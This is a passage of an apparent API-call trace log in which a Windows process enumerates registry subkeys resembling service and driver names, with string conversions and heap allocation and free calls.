lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0210.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.189] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0210.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0210.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1850, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0210.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.189] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0210.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0210.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f18e0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0210.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.189] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0210.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0210.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1850, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0210.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.189] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0210.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0210.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f18e0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0210.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.190] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0210.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0210.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1850, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0210.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.190] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0210.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0210.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0210.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.190] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0210.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0210.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.191] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0210.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0210.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0210.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.191] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0210.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0210.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.191] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0210.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0210.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f18e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0210.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.192] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0210.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0210.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.192] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0210.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0210.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.192] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0210.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0210.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.192] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0210.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0210.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0210.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.193] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0210.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0210.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1850, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0210.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.193] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0210.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0210.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0210.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.193] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0210.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0210.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.193] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0210.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0210.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0210.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.194] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0210.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0210.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.194] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0210.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0210.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.194] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0210.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 